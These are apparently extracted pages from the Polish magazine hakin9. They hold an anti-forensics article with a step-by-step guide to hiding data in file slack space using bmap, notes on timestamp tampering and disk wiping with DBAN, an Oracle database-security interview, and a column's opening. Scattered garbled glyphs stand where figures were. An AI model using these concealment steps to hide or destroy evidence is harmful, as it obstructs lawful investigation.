Można wyodrębnić dwa podstawowe rodzaje działań mających na celu utrudnienie prowadzenia śledztwa elektronicznego – zakłócanie danych oraz zakłócanie narzędzi. Ponieważ dane elektroniczne są podatne na modyfikację, jednocześnie są narażone na wiele działań związanych z manipulacjami. Jednym z działań wykorzystywanych w zakłócaniu danych jest szyfrowanie. Zaszyfrowany plik, katalog, partycja czy nawet cały dysk są zaporą nie do przebycia dla śledczego analizującego materiał dowodowy. Innymi działaniami używanymi do zakłócania jest ukrywanie danych w przeróżnych obszarach czy to pamięci masowych, czy nawet pamięci operacyjnej. Przykładem może być ukrywanie danych w obszarach systemu plików NTFS zwanych ADS (ang. Alternate Data Stream). Kolejnym przykładem techniki ukrywania danych może być zapisywanie informacji w uszkodzonych sektorach czy niezapisanym obszarze sektorów na dysku (tzw. slack space) . Innymi interesującymi miejscami, w których chowane są dane w celu ukrycia ich przed śledztwem elektronicznym, są ukryte partycje, takie jak na przykład HPA (ang. Host Protected Area) – obszar dysku używany przez producentów do przechowywania danych serwisowych. W celu ukrywania danych powstały nawet specjalne systemy plików, pozwalające na łatwiejsze wykonywanie operacji ukrywania: •
Data Mule FS – potrafi ukrywać dane w obszarach zarezerwowanych dla przechowywania informacji o i-węzłach (ang. i-node),
ANTI-FORENSICS •
•
Waffen FS – dzięki temu systemowi plików możemy wykorzystać plik journalingu systemu plików EXT3 do ukrycia danych, Rune FS – bardzo ciekawy system plików, który potrafi zapisywać dane w obszarach dysku udających uszkodzone sektory.
Osobom interesującym się steganografią zapewne znany jest także system plików StegFS, dzięki któremu także możemy ukrywać dane. Nie można pominąć takich technik, jak wykorzystywanie niezaalokowanego miejsca na dysku twardym czy steganografia, polegająca na ukrywaniu informacji w plikach graficznych. Zakłócanie narzędzi to druga z wymienionych technik utrudniania przeprowadzania śledztwa elektronicznego. W działaniach zakłócających dane celem było spowodowanie, aby informacja stała się nieczytelna, ukryta czy wręcz usunięta z pamięci. W przypadku zakłócania narzędzi dążymy do wprowadzenia w błąd osoby poszukującej śladów elektronicznych. Jedną z wykorzystywanych metod jest zmiana znacznika czasowego pliku (ang. timestamp) w systemach Windows wykorzystujących NTFS jako system plików. Narzędzia używane przez śledczych pozwalają na odczytanie takich informacji o pliku, jak czas jego utworzenia, ostatniej modyfikacji oraz ostatniego otwarcia pliku. Przykładem narzędzia pozwalającego na zmianę tych informacji jest timestomp.exe. Plik ze zmienionymi informacjami o czasie jego utworzenia może w prosty sposób spowodować pominięcie go podczas analizowania materiału dowodowego, ponieważ zmodyfikowana data utworzenia pliku nie pasuje do okresu, w jakim mogło zostać popełnione przestępstwo. Taka sytuacja może doprowadzić do znacznego utrudnienia pracy śledczego. Kolejna technika pozwalająca zakłócać dane zbierane w trakcie śledztwa informatycznego to wykorzystanie funkcji systemu plików NTFS nazwanej ADS – Alternate Data Streams. Te alternatywne strumienie danych pozwalają na ukrycie dowolnych danych w pliku czy katalogu. Mimo tego, iż większość narzędzi forensics jest w stanie bez problemu wykrywać strumienie ADS, jest to metoda pozwalająca na wydłużenie czasu potrzebnego na analizę danych, co w znacznym stopniu utrudnia śledztwo.
Warto wspomnieć także o metodzie pozwalającej na zmianę zawartości pliku przy jednoczesnym zachowaniu wygenerowanego dla tego pliku hasha MD5, manipulacji rozszerzeniami plików, a także tak zwanym magic number, który także może być zmieniany.
Programy
Osoby wykorzystujące narzędzia antiforensics zwykle mają coś do ukrycia, lecz niekoniecznie muszą być cyberprzestępcami. W celu ukrywania danych wykorzystywane są różnego rodzaju programy do szyfrowania całych dysków, partycji, katalogów i plików. Ukrywanie danych to jednak tylko jeden aspekt działań anti-forensics. Innym dość ważnym zagadnieniem jest kasowanie danych przed ich przechwyceniem. Na tym polu istnieje dość dużo mniej lub bardziej znanych narzędzi. Przykładem może być Evidence Eliminator – komercyjne narzędzie pozwalające między innymi na niszczenie pliku wymiany systemu Windows, plików tymczasowych, logów systemowych, ADS, historii przeglądarek i całej masy innych informacji, których brak znacznie utrudni poszukiwanie dowodów. Programów o podobnym działaniu jest więcej. Wśród komercyjnych narzędzi należy wymienić takie jak: Steganos Security Suite, Tracks Eraser Pro, Diskzapper, BCWipe, przy których pomocy usuniemy zawartość poszczególnych plików i katalogów, całych partycji lub dysków metodami niepozwalającymi na późniejsze odtworzenie
usuniętych danych. Wśród narzędzi na licencji GPL podobnym działaniem charakteryzują się między innymi Srm, Wipe, Fwipe, Overwrite czy Grind. W skład pakietu Metasploit wchodzą trzy narzędzia będące bardzo często wykorzystywane do działań antiforensic: • •
•
timestamp wspomniany wcześniej slacker – pozwala na zagospodarowanie przestrzeni slack space do przechowywania danych transmogrify – pozwala na zmianę sygnatury pliku.
Ciekawostką jest narzędzie DBAN (Darik's Boot And Nuke), dyskietka zawierająca oprogramowanie wykrywające dyski w komputerze i kasująca całą ich zawartość. Wymienione narzędzia nie wyczerpują listy wszystkich które są dostępne w sieci. Z dnia na dzień powstaje wiele nowych narzędzi które czasami przez przypadek stają się narzędziami antiforensics.
Jak to się robi?
Aby choć trochę przybliżyć Czytelnikom jedną z metod anti-forensics, spróbuję opisać ukrywanie danych w przestrzeniach slack space. Na początek może kilka słów o tej przestrzeni – jak i dlaczego ona powstaje? Jak ogólnie wiadomo, klaster/blok (ang. cluster/block) to najmniejsza ilość miejsca przeznaczona na przechowanie pojedynczego pliku. W systemach Windows rozmiar klastra jest zależny od wielkości dysku twardego, bez względu na to, czy
Rysunek 1. Zrzut ekranu – wynik wykonania polecenia bmap
Rysunek 2. Wprowadzone wartości numerów telefonów do ukrycia
Rysunek 3. Odczyt zawartości slack space 4/2009 HAKIN9
71
PRAKTYKA systemem plików jest któraś z odmian FAT, czy NTFS. W systemach Linux standardowa wielkość klastra to cztery kilobajty (można ją oczywiście zmienić). Jak powstaje slackspace pozwoli zrozumieć Rysunek 5, na którym widać proces powstawania przestrzeni slackspace. Plik A zajmuje dwa sektory, załóżmy, że nasz system plików posiada klastry/sektory o wielkości 4 kilobajtów. Z rysunku wynika, że nasz plik posiada rozmiar 8 kilobajtów gdyż wypełnia dwa sektory. Po skasowaniu pliku A zostaje zwolnione miejsce. Plik B , który zostaje zapisany w miejsce skasowanego jest mniejszy , więc zajmuje cały sektor 1 i część sektora 2. Powstała wolna część sektora 2 to właśnie slack space. Obszary takie powodują postępujący proces fragmentacji systemu plików. Jakie są skutki dużej fragmentacji systemu plików wiedzą wszyscy, którzy korzystali z narzędzi do defragmentacji.
Duża ilość tak powstałego miejsca , niewykorzystanego do przechowywania plików daje dużo możliwości działań antiforensic mających na celu ukrycie jakiejś ilości danych. Skoro już wiemy skąd się bierze niezaalokowana przestrzeń slackspace , znamy przyczyny jej powstawania możemy zająć się próbą wykorzystania jej do zapisania naszych tajnych danych. Przed przystąpieniem do ukrywania danych w przestrzeniach slack space musimy wyposażyć nasz system w program pozwalający na dokonywanie takiego rodzaju działań. Dostępne są dwa narzędzia, przedstawię tutaj przykład, w który wykorzystuję program bmap, pozwalający na manipulowanie zawartością slack space w pojedynczym pliku. Załóżmy, że korzystamy z systemu Linux wyposażonego dysk z partycjami systemu plików ext3, w którym wielkość klastra to właśnie 4kB. W
katalogu /test znajduje się plik o nazwie crontab. Wyświetlamy zawartość pliku, aby sprawdzić, co w nim jest i czy coś się zmieni na późniejszym etapie naszych działań. Używamy do tego celu polecenia cat: #cat /test/crontab
Zawartość pliku widoczna jest na zrzucie ekranu. Sprawdzamy rozmiar naszego pliku i obecność przestrzeni slack space poleceniem: #bmap -mode slack /test/crontab
Na Rysunku 1 widać, że program zwrócił nam informacje o rozmiarze pliku, rozmiarze slack space oraz rozmiarze bloku/klastra, a także o numerze klastra, w którym zapisany jest nasz plik. Do dyspozycji mamy 3761 bajtów, w których możemy zapisać cokolwiek – i na pewno nie będzie to widoczne dla przeciętnego użytkownika komputera (z pewnością utrudni także odnalezienie tych danych osobie ich szukającej). Załóżmy, że mamy kilka numerów telefonów, których nie chcemy z pewnych względów nikomu ujawniać. Wykonujemy polecenie: #bmap -mode putslack /test/crontab
Program wyświetla to, co wcześniej i czeka na wprowadzenie dodatkowych danych. Wpisujemy więc kilka numerów oraz imion (Rysunek 2). Zatwierdzamy wprowadzone dane wciśnięciem klawisza [ENTER]. Dla pewności powtarzamy polecenie:
Rysunek 4. Uruchomiony DBAN �������� ��������
�������� ��������
�������� ������ ������
�������� ������ ������
������ ����������������������������������������� �����������������������������������������
������
#cat /test/crontab
i potwierdzamy, iż zawartość pliku nie uległa zmianie (czego właśnie oczekiwaliśmy). W tym momencie, wykonując polecenie:
����������������������������������������� �������� ��������
�������� ��������
�������� ������ ������
�������� ������ ������
������
������������������������������������������ ������������������������������������������ ����������������������������� ����������������������������� ������������������������������������������ �����������������������������
�������� ��������
�������� ��������
�������� ������ ������
�������� ������ ������
������
������ ������ ���������������������������������������������������� ���������������������������������������������������� ����������������������������������������������������
Rysunek 5. Proces powstawania Slackspace 72
HAKIN9 4/2009
#bmap -mode slack /test/crontab
�������� �������� ���������� ���������� �������� ���������� ������ ������ ������
sprawdzamy zawartość naszej przestrzeni slack space w klastrze zajmowanym przez nasz plik. Wynik widoczny na ekranie (Rysunek 3) ukazuje naszym oczom wpisane przed chwilą numery oraz imiona, które mają pozostać ukryte. Rozmiar pliku oraz rozmiar obszaru slack space także nie uległy zmianie. W takiej sytuacji jedynie osoby znające tego typu narzędzia oraz umiejące się nimi posługiwać są w stanie odczytać tak
ANTI-FORENSICS ukryte dane. Osiągnęliśmy więc zamierzony przez nas cel. Należy jednak pamiętać, że tak – nazwijmy to – ukryte dane są mimo wszystko dostępne przy użyciu odpowiednich technik odczytu. Chciałbym w tym miejscu dodać, że opisana metoda jest okupiona pewnego rodzaju ograniczeniem. Ilość danych możliwych do ukrycia w obszarze slack space jest różnicą wielkości klastra/bloku (czyli 4096 bajtów) i rozmiaru zapisanego w danym klastrze pliku (lub jego ostatniego kawałka). Upraszczając, jeśli plik crontab miałby 2048 bajtów, to ilość miejsca do wykorzystania ograniczyłaby się do 2048 bajtów. A co w przypadku, gdy chcielibyśmy ukryć większą ilość danych, na przykład 100 megabajtów? W takiej sytuacji możemy skorzystać z programu slacker. Narzędzie to umożliwia wykorzystanie przestrzeni slack space w całej strukturze katalogu – a więc przy założeniu, że w katalogu zapisanych jest bardzo wiele plików o rozmiarze mniejszym niż rozmiar klastra, możemy mieć do dyspozycji bardzo duże obszary slack space. Niestety, wykorzystanie obszarów slack space jest możliwe tylko przy założeniu, iż zawartość plików tworzących te przestrzenie nie będzie się zmieniała. Każda modyfikacja zawartości pliku (na przykład jego powiększanie się przez dopisywanie danych) powoduje zwiększenie się obszaru zajmowanego w klastrze, co jednocześnie redukuje rozmiar slack space i tym samym może spowodować uszkodzenie ukrytych tam danych (po prostu je nadpisując). Mimo tych wad, ukrywanie danych w slack space jest skuteczne i potrafi spowodować wydłużenie czasu analizy danych, a więc jest w stanie zakłócić prowadzenie śledztwa. Inna z metod antiforensic , dość często wykorzystywana przez wielu domowych użytkowników komputerów to usuwanie danych w taki sposób aby nie dało się ich odzyskać. Programów pozwalających na wykonanie takiej operacji jest dość sporo , do najbardziej znanych należą wymienione wcześniej , ale można do nich dodać chociażby sławne narzędzia M.H.D.D. czy Victoria które w zasadzie są bardziej narzędziami do diagnostyki dysków twardych ale posiadają także wbudowane polecenia pozwalające na kasowanie zawartości dysku. Chciałbym jednak przedstawić tutaj także wcześniej wspomniany program
DBAN – Darik’s Boot And Nuke. Program działający z dyskietki lub płyty CD. Ze strony autora można pobrać zarówno obraz płyty CD jak i instalatora, który tworzy dyskietkę bootowalną. Po uruchomieniu komputera z płyty CD na ekranie zobaczymy ekran podobny do tego na Rysunku 4. Do wyboru mamy kilka opcji • • • •
F2 pomoc F3 krotka lista poleceń F4 rozwiązywanie problemów ENTER start aplikacji w trybie interaktywnym autonuke – start aplikacje w trybie automatycznym.
•
•
•
przez Gutmana jest uznawana za bardzo bezpieczną metodę kasowania danych , okupiona jest 35 przebiegami procesu , co jest czasochłonne. PRNG Stream – metoda wykorzystująca generator liczb pseudolosowych do zapisywania strumieniami , uznawana za bardzo bezpieczną przy wykorzystaniu co najmniej ośmiu przebiegów . Verify – weryfikacja pracy programu to kolejny parametr na który mamy wpływ. Możemy ją całkowicie wyłączyć , włączyć weryfikację ostatniego przebiegu lub weryfikować każdy z przebiegów.
Po wybraniu trybu interaktywnego widzimy ekran pozwalający na wybranie pewnych ustawień pracy programu kasującego dane. Możemy wybrać jeden z dwóch generatorów liczb pseudolosowych Mersenne Twister oraz ISAAC. Kolejny parametr na który mamy wpływ jest metoda kasowania danych. Tutaj do wyboru jest kilka opcji z różnymi poziomami bezpieczeństwa iróżną ilością przebiegów kasowania.
Ostatnim parametrem ważnym podczas kasowania danych jest wybór ilości przebiegów pracy programu. Ich ilość jest zależna od wcześniej wybranych innych parametrów. Po wybraniu dysku na którym mamy zamiar przeprowadzić operację kasowania wciskamy klawisz F10 aby rozpocząć proces. Po czasie ściśle uzależnionym od rozmiaru dysku oraz ustawionych parametrów programu naszym oczom ukaże się ekran zakończenia pracy programu.
•
Podsumowanie
quick erase – ta metoda zapisuje na dysk zera , wykonuje to podczas jednego przebiegu , metoda nieprzydatna do działań antiforensics , dane są możliwe do odzyskania. RCMP TSSIT OPS-II – Royal Canadian Mounted Police Technical Security Standard for Information Technology , standard wykorzystywany w kanadyjskiej policji , dość skuteczny w kasowaniu danych DoD Short – skrócona wersja DoD 5220 , amerykańskiego standardu o skuteczności kasowania zbliżonej do RCMP DoD 5220.22-M – pełna wersja amerykańskiego standardu, Gutman Wipe – metoda opracowana
•
•
• •
W Sieci • • • • • •
http://www.evidence-eliminator.com/ product.d2w, http://www.dban.org, http://users.ox.ac.uk/~kebl2949/grind, http://www.kyuzz.org/antirez/ overwrite.html, http://srm.sourceforge.net , http://www.forensicfocus.com.
Rozwiązania technologiczne wykorzystywane w informatyce śledczej są ciągle udoskonalane, a narzędzia analizy stają się coraz wygodniejsze w użyciu. Nie zwalnia to jednak osoby prowadzącej śledztwo elektroniczne z dokładnego analizowania materiału dowodowego, gdyż – jak widać – metody ukrywania danych (czy też niszczenia ich, tak aby nie mogły stać się dowodami na niezgodne z prawem działania) także stają się coraz bardziej efektywne. Wzrost liczby przestępstw popełnionych z wykorzystaniem systemów informatycznych jest już zauważalny dość mocno nawet w realiach naszego kraju. Musimy mieć nadzieję, że informatyka śledcza i specjaliści computer forensics będą w stanie sprostać zadaniom odnajdywania śladów – nawet tych dobrze ukrytych z wykorzystaniem technik anti-forensics. Grzegorz Błoński
Autor, Grzegorz Błoński, z wykształcenia jest informatykiem, certyfikowanym specjalistą IBM. Pracuje w dużej firmie o zasięgu światowym. Zajmuje się administracją oraz bezpieczeństwem sieciowym. Należy do międzynarodowych organizacji ISOC oraz ISACA, zajmujących się szeroko pojętym bezpieczeństwem IT. Jest członkiem Digital Forensics Association. Kontakt z autorem: [email protected]
4/2009 HAKIN9
73
WYWIAD
Nowe trendy w bezpieczeństwie Wywiad z Jackiem Brinsonem – dyrektorem Oracle odpowiedzialnym za produkty związane z zapewnianiem bezpieczeństwa informacji składowanych w bazach danych.
J
ack jest weteranem w obszarze bezpieczeństwa baz danych. Przez wiele lat pracował na różnych stanowiskach w działach konsultingu, sprzedaży, rozwoju programowania i zarządzania produktami. Jego zakres obowiązków obejmował strategiczne planowanie produktów, rozwój oprogramowania, marketing i zarządzanie produktami związanymi z bezpieczeństwem baz danych Oracle. Jack dysponuje rozległą wiedzą i doświadczeniem w zakresie planowania, strategii, wdrażania i tworzenia rozwiązań zapewniających bezpieczeństwo infrastruktury informatycznej. Współpracował z wieloma firmami doradczymi i integratorami systemów.
Firma Oracle dokonała znaczącego postępu w zakresie bezpieczeństwa, jednak w dalszym ciągu proste programistyczne błędy sprawiają, że oprogramowanie bazodanowe Waszej firmy nie jest wolne od błędów. Czy po lipcowych poprawkach użytkownicy produktów Oracle mogą spać spokojnie? Rzeczywiście, dokonaliśmy znaczącego postępu w tej dziedzinie. W ciągu ostatnich lat wprowadziliśmy na rynek wiele nowych technologii, takich jak Oracle Database Vault, Oracle Audit Vault, Oracle Data 74
HAKIN9 4/2009
Masking i wiele innych. Co więcej, firma Oracle dokonała akwizycji dużej liczby przedsiębiorstw i produktów z obszaru zarządzania tożsamością. Mamy zamiar kontynuować działania oparte na nowatorskich rozwiązaniach i projektach w dziedzinie bezpieczeństwa. Gorąco zachęcamy wszystkich klientów do jak najszybszej instalacji dostępnych na rynku poprawek. Od lipca 2008 roku przygotowaliśmy dwie aktualizacje programów korygujących o znaczeniu krytycznym. Najnowsza aktualizacja została udostępniona 13 stycznia 2009 i eliminuje 41 luk w zabezpieczeniach, wykrytych ostatnio w kilku liniach produktów, między innymi: Oracle Database Server, Oracle Times Ten, Oracle Secure Backup, Oracle Enterprise Manager, Oracle Application Server, Oracle Collaboration Suite, Oracle E-Business Suite, Oracle PeopleSoft Enterprise, Oracle JD Edwards Enterprise One oraz Oracle WebLogic. Aktualizacja programów korygujących o znaczeniu krytycznym z dnia 13 stycznia 2009 eliminuje również inne luki w zabezpieczeniach produktów takich jak: Oracle E-Business Suite, Oracle Times Ten, Oracle Enterprise Manager, Oracle Application Server, Oracle Collaboration Suite, Oracle E-Business Suite, Oracle PeopleSoft Enterprise oraz Oracle JD
Edwards Enterprise One. Więcej informacji na temat nowych poprawek można znaleźć w opublikowanej dokumentacji. Zachęcamy również naszych klientów do odwiedzenia stron internetowych z najnowszymi informacjami na temat łatek. Różnorodne informacje techniczne można znaleźć w takich serwisach internetowych, jak centrum zabezpieczeń Security Technology Center, dostępne na stronie Oracle Technology Network (OTN). Strona ta zawiera rozbudowane repozytorium z takimi zasobami, jak dokumentacja opisująca produkty, listy kontrolne i poradniki związane z zabezpieczeniami, artykuły przeglądowe i komunikaty dotyczące aktualnych programów korygujących o znaczeniu krytycznym i ostrzeżeń o zagrożeniach bezpieczeństwa. Dodatkowe informacje na temat zabezpieczeń, na przykład notatki techniczne, można znaleźć w bazie wiedzy Oracle MetaLink.
Z uwagi na fakt posiadania przez firmę Oracle wielu wersji swojej bazy, jak również szeregu różnych aplikacji bazodanowych, nasuwa się pytanie, czy każda z nich jest tak samo bezpieczna? Celem Oracle jest zapewnienie bezpieczeństwa całego wachlarza
WYWIAD Z JACKIEM BRINSONEM produktów Oracle, od technologii, poprzez aplikacje, aż do oprogramowania warstwy pośredniej. Przykładowo, rozwiązanie Oracle Database Vault uzyskało certyfikat zgodności z pakietem Oracle E-Business Suite. Jest to dobr y przykład ilustrujący sposób, w jaki technologie i koncepcje związane z zabezpieczeniami, takimi jak Database Vault, są cały czas integrowane z istniejącymi produktami Oracle w ramach technologii i aplikacji Oracle. To również dowód na to, że zespoły programistów (w dziale aplikacji i dziale technologii Oracle) współpracują ze sobą w celu osiągnięcia wspólnych celów. Za pomocą produktu Oracle Database Vault klienci korzystający z pakietu E-Business Suite mogą zabezpieczyć dane przed nieautoryzowanym dostępem w ramach bazy danych Oracle. Użytkownicy mogą zastosować zasadę separacji obowiązków na poziomie bazy danych Oracle. Dzięki temu mają pewność, że nawet administrator bazy danych, ani żaden inny uprawniony użytkownik, nie będzie mieć dostępu do wrażliwych danych aplikacji E-Business Suite. Rozwiązanie to pozwala również zabezpieczyć się przed celowymi lub przypadkowymi modyfikacjami bazy danych, które mogą spowodować utratę danych aplikacji E-Business Suite. Co więcej, produkt Database Vault zapewnia ochronę przed dostępem ad hoc do danych pakietu E-Business Suite, na podstawie zaawansowanych reguł i wielu czynników, takich jak adres IP, godzina i typ aplikacji.
Czy może Pan przybliżyć naszym Czytelnikom produkt Oracle Audit Vault? Oczywiście. Ten produkt funkcjonuje na rynku od około dwóch lat. Rozwiązuje on problem, który jest wyjątkowo ważny. Przez wiele lat firmy nie miały możliwości kompleksowej analizy działalności poszczególnych użytkowników baz danych w przekroju całego przedsiębiorstwa. Jeśli trzeba było uzyskać taką informację, należało podejść do wszystkich kilkunastu, kilkudziesięciu czy nawet kilkuset stanowisk z zainstalowanym oprogramowaniem bazodanowym
i wszędzie żmudnie analizować logi użytkowników. Dzięki wspomnianemu produktowi jesteśmy w stanie ściągnąć logi z baz danych Oracle, DB2, Sybase i SQL Server do centralnego repozytorium – swego rodzaju „hurtowni audytorskiej” – i ustalić, jakie czynności wykonał użytkownik we wszystkich bazach. Jednocześnie, dzięki składowaniu tych danych w oddzielnej lokalizacji, polepszamy ich ochronę. Możemy ściągnąć je z serwerów produkcyjnych, do których ma dostęp wielu użytkowników – w centralnym repozytorium nikt postronny nie będzie nimi manipulował. Audit Vault zapewnia możliwość konsolidowania rekordów podlegających audytowi, generowania raportów w celu spełnienia określonych wymogów i norm regulacyjnych, takich jak Sarbanes-Oxley. Mamy do dyspozycji wszystkie narzędzia umożliwiające konfigurację odpowiednich polityk, dzięki którym Audit Vault poinformuje administratora w przypadku zajścia jakiejś niepożądanej czynności – np. gdy pracownik przegląda rekordy bazy danych.
W jaki sposób zabezpieczony jest transfer logów do Oracle Audit Vault i jak sprawdzić ich integralność? To bardzo dobre pytanie. Odpowiedź jest taka, że tę kwestię rozwiązaliśmy naprawdę solidnie – wykorzystujemy tu pewne już istniejące technologie bezpieczeństwa Oracle. Oracle Audit Vault wykorzystuje przodujące w branży zabezpieczenia, dostępne w produktach Oracle Database Vault i Oracle Advanced Security. Zapewniają one ochronę danych audytowych od momentu ich zebrania, przesłania, konsolidacji i umieszczenia w scentralizowanym, zabezpieczonym repozytorium danych audytowych. Korzystamy z pakietu Advanced Security Options (ASO), szyfrując ruch ze źródła bazodanowego oraz przepływający przez sieć do Audit Vault. Pakiet Advanced Security może być wykorzystywany do ochrony integralności przesyłanych rekordów audytowych. Co więcej, w samym Oracle Audit Vault także zaszyliśmy nasze technologie Oracle Database Vault w celu ochrony danych przechowywanych w repozytorium.
Czy cenne są dla Państwa uwagi firmy prowadzonej przez Alexandra Kornbrusta – mowa o Red Database Security – która specjalizuje się w zakresie bezpieczeństwa produktów Oracle? Bez komentarza.
Jak, Pańskim zdaniem, powinniśmy zabezpieczyć nasze aplikacje przed atakiem typu Lateral SQL Injection? Przygotowaliśmy kilka technicznych artykułów przeglądowych na ten temat. Nie da się nie zauważyć, że ataki tego typu wywołują duże zainteresowanie i obawy. Przygotowane przez Oracle artykuły obalają mity związane z tym tematem i wyjaśniają w przejrzysty sposób, jak napisać kod PL/SQL, który zagwarantuje skuteczną ochronę przed atakami typu SQL injection. Artykuły można łatwo znaleźć na stronie www.oracle.com.
Z jakimi rodzajami zagrożeń najczęściej spotyka się Pan w pracy? Czy zanotowano próby zaatakowania Państwa firmy? Na to pytanie trudno mi odpowiedzieć, ponieważ zajmuję się produktami Oracle jako takimi. Nie jestem członkiem naszej grupy bezpośrednio związanej z bezpieczeństwem informatycznym, nie jestem też zaangażowany w codzienne operacje naszego departamentu bezpieczeństwa.
Jak firma ocenia pismo hakin9 jako medium dotarcia do speców od bezpieczeństwa? Widziałem wiele wzmianek o tym magazynie podczas moich poszukiwań informacji na różne tematy. Już jego nazwa mówi bardzo dużo...
Jest także podtytuł: Jak się obronić... Podtytuł Jak się obronić to sedno całego problemu. Świadomość poziomu zabezpieczeń, wykształcenie i wiedza to kluczowe czynniki, które są niezwykle istotne z punktu widzenia samoobrony przed zagrożeniami. Tu chciałbym przekazać informacje o trendach, jakie zauważam. Jeden z nich, który występuje na całym świecie, polega na tym, że klienci obarczani są różnego rodzaju wymogami, specyfikacjami zgodności, takimi jak 4/2009 HAKIN9
75
WYWIAD Sarbanes-Oxley, PCI-DSS, jak również politykami prywatności, zagrożeniami wewnętrznymi, itp. W rezultacie spoglądają oni na firmy takie jak Oracle, aby te pomogły im stawić czoła tym wyzwaniom i dostarczyły rozwiązania spełniające te wymogi. A wyzwania stają się coraz trudniejsze. Naszym zadaniem jest zatem przygotowanie dla nich większej liczby produktów i narzędzi, które pomogą im spełnić odpowiednie wymagania. Często widzę, że w firmach powstaje nowe stanowisko w ramach departamentu IT: administrator bezpieczeństwa danych – informatyk odpowiedzialny za egzekwowanie polityki bezpieczeństwa w ramach organizacji w odniesieniu do innych, mniej lub bardziej uprzywilejowanych użytkowników baz danych. Pozwala to osiągnąć w firmie rzecz bardzo trudną: zapewnienie segregacji lub separacji obowiązków. Jest to jeden z najważniejszych wymogów ustawy Sarbanes-Oxley i innych przepisów prawnych. W przeszłości stanowisko to było przeznaczone dla pracowników z doświadczeniem w dziedzinie biznesu lub zasad bezpieczeństwa. Rola administratora bezpieczeństwa danych ma bardziej techniczny charakter. W większości przypadków stanowisko to zajmują osoby z bardzo dobrze rozwiniętymi umiejętnościami w zakresie bezpieczeństwa i administrowania bazami danych. Czytelnicy magazynu hakin9 powinni rozważyć to nowe stanowisko jako interesujący wpis do swojego życiorysu. Przez długi czas uprzywilejowani użytkownicy byli władcami swoich małych królestw i mieli dostęp do uprzywilejowanych danych. Mieli oni dostęp do bardzo poufnych danych firmowych, na przykład informacji finansowych lub danych pracowników. Określone przepisy i akty prawne, takie jak ustawa Sarbanes-Oxley (SoX), unijne przepisy dotyczące prywatności oraz standard PCI-DSS (chroniący dane osobowe posiadaczy kart płatniczych) nakładają na przedsiębiorstwa obowiązek zapewnienia, że uprzywilejowani użytkownicy nie nadużywają swoich uprawnień. Mogliby oni przecież wykorzystać swoje uprawnienia, przykładowo do zasięgnięcia informacji o kartach płatniczych klientów lub sytuacji 76
HAKIN9 4/2009
finansowej firmy. Chodzi zatem o to, by nasz administrator ds. bezpieczeństwa zablokował lub poważnie utrudnił taki nieautoryzowany dostęp – np. aby uzyskanie dostępu do podobnego rodzaju danych musiało być autoryzowane przez dwóch użytkowników. Mówiąc prościej, rola administratora ds. bezpieczeństwa danych polega na wdrażaniu narzędzi kontroli dostępu i monitorowaniu działań innych administratorów baz danych w przedsiębiorstwie. Kolejna rzecz – można zauważyć, że rola głównego specjalisty ds. bezpieczeństwa informacji (Chief Information Security Officer - CISO) lub informatyka do spraw bezpieczeństwa (Chief Security Officer - CSO) zyskuje w ostatnich latach coraz szersze uprawnienia w zakresie zasobów i budżetu. Dawniej pozycja ta wiązała się z mniejszą odpowiedzialnością. Obecnie wiele takich osób podlega bezpośrednio kierownictwu firmy, co pozwala im na łatwiejsze egzekwowanie polityk bezpieczeństwa w całej organizacji. Wreszcie, przepisy nakładają na coraz większą liczbę firm obowiązek monitorowania i kontrolowania użytkowników baz danych. Konieczność spełnienia norm i wymagań spowodowała, że audyt wewnętrzny jest teraz obowiązkiem. W przeszłości monitorowanie bazy danych miało charakter opcjonalny. Obecnie jest to wymóg. Dziś łatwiej jest się bronić przed wieloma zagrożeniami z wewnątrz. Jeszcze niedawno nawet najsurowsze regulacje nie były egzekwowane. Jednak ten trend także ulega zmianie - groźba nałożenia wysokich kar czy mandatów, ale także utraty reputacji przy braku realizacji wymogów związanych z bezpieczeństwem informatycznym, jest tu skutecznym straszakiem.
Jak dbacie o swoich pracowników? Czy odbywają systematyczne szkolenia? Ujmę to w ten sposób: Oracle dysponuje bogatymi zasobami umożliwiającymi prowadzenie technicznych szkoleń i kursów dla pracowników. Przygotowaliśmy wewnętrzne blogi, szkolenia do nauki samodzielnej, kursy, zajęcia i fora dyskusyjne poświęcone bezpieczeństwu IT. Wszyscy specjaliści oraz programiści związani z
bezpieczeństwem – z całego świata, od Azji przez Amerykę do Europy – dzielą się swoimi najlepszymi praktykami oraz pomysłami. Są także odpowiednie listy mailingowe, organizujemy konferencje internetowe transmitowane na cały świat, przekazując informacje od rynku do rynku. Taki mechanizm zapewnia skuteczne dzielenie się wspólnymi praktykami, procedurami, sposobami bezpiecznego pisania kodu – we wszystkich środowiskach programistycznych organizujemy szkolenia online, w których mogą uczestniczyć pracownicy. Możemy im zaoferować naprawdę szerokie możliwości pogłębiania wiedzy i rozwoju umiejętności w zakresie bezpieczeństwa. Aby mieć pewność, że standardy stosowane są wszędzie z taką samą skrupulatnością, oferujemy szkolenia w zakresie standardów bezpieczeństwa, przeznaczone dla wszystkich programistów, kierowników produktów, kierowników ds. zarządzania wersjami i pracowników działu zapewnienia jakości. Bezpieczny proces projektowania oprogramowania, stosowany przez Oracle, jest gwarancją, że w każdym dziale naszej firmy wdrożone zostały najbardziej aktualne normy bezpieczeństwa, narzędzia i biblioteki. Naszym celem jest promowanie „świadomości o bezpieczeństwie” wśród wszystkich programistów, na każdym etapie procesu tworzenia systemów – od zdefiniowania produktu, poprzez programowanie, wprowadzenie go na rynek, aż do zapewnienia pomocy technicznej.
Co Pan sądzi o polskich specjalistach ds. bezpieczeństwa IT? Przebywam w Polsce tylko tydzień, spotkałem się z wieloma klientami różnych branż. Jestem naprawdę pod wrażeniem poziomu umiejętności i wiedzy eksperckiej – zarówno w zakresie baz danych, jak i bezpieczeństwa IT. Wiem jednak też z prasy, że z tego regionu Europy pochodzi wiele ataków hakerskich i innych zagrożeń bezpieczeństwa. Muszę przyznać, że pobyt w Polsce był dla mnie bardzo przyjemny. Miałem również okazję doświadczyć wspaniałej, tradycyjnej polskiej gościnności. Mam nadzieję, że kiedyś tu wrócę.
Dziękuję za rozmowę.
FELIETON
Tylko dwie rzeczy są nieskończone... Południe. Główna ulica 400-tysięcznego miasta. Spokojnie stoję w kolejce do bankomatu. Za mną ustawiła się dziewczyna z chłopakiem. Zazwyczaj nie podsłuchuję rozmów, ale mówili na tyle głośno, że ja (i pewnie jeszcze kilka innych osób) słyszałem wszystko mimowolnie.
D
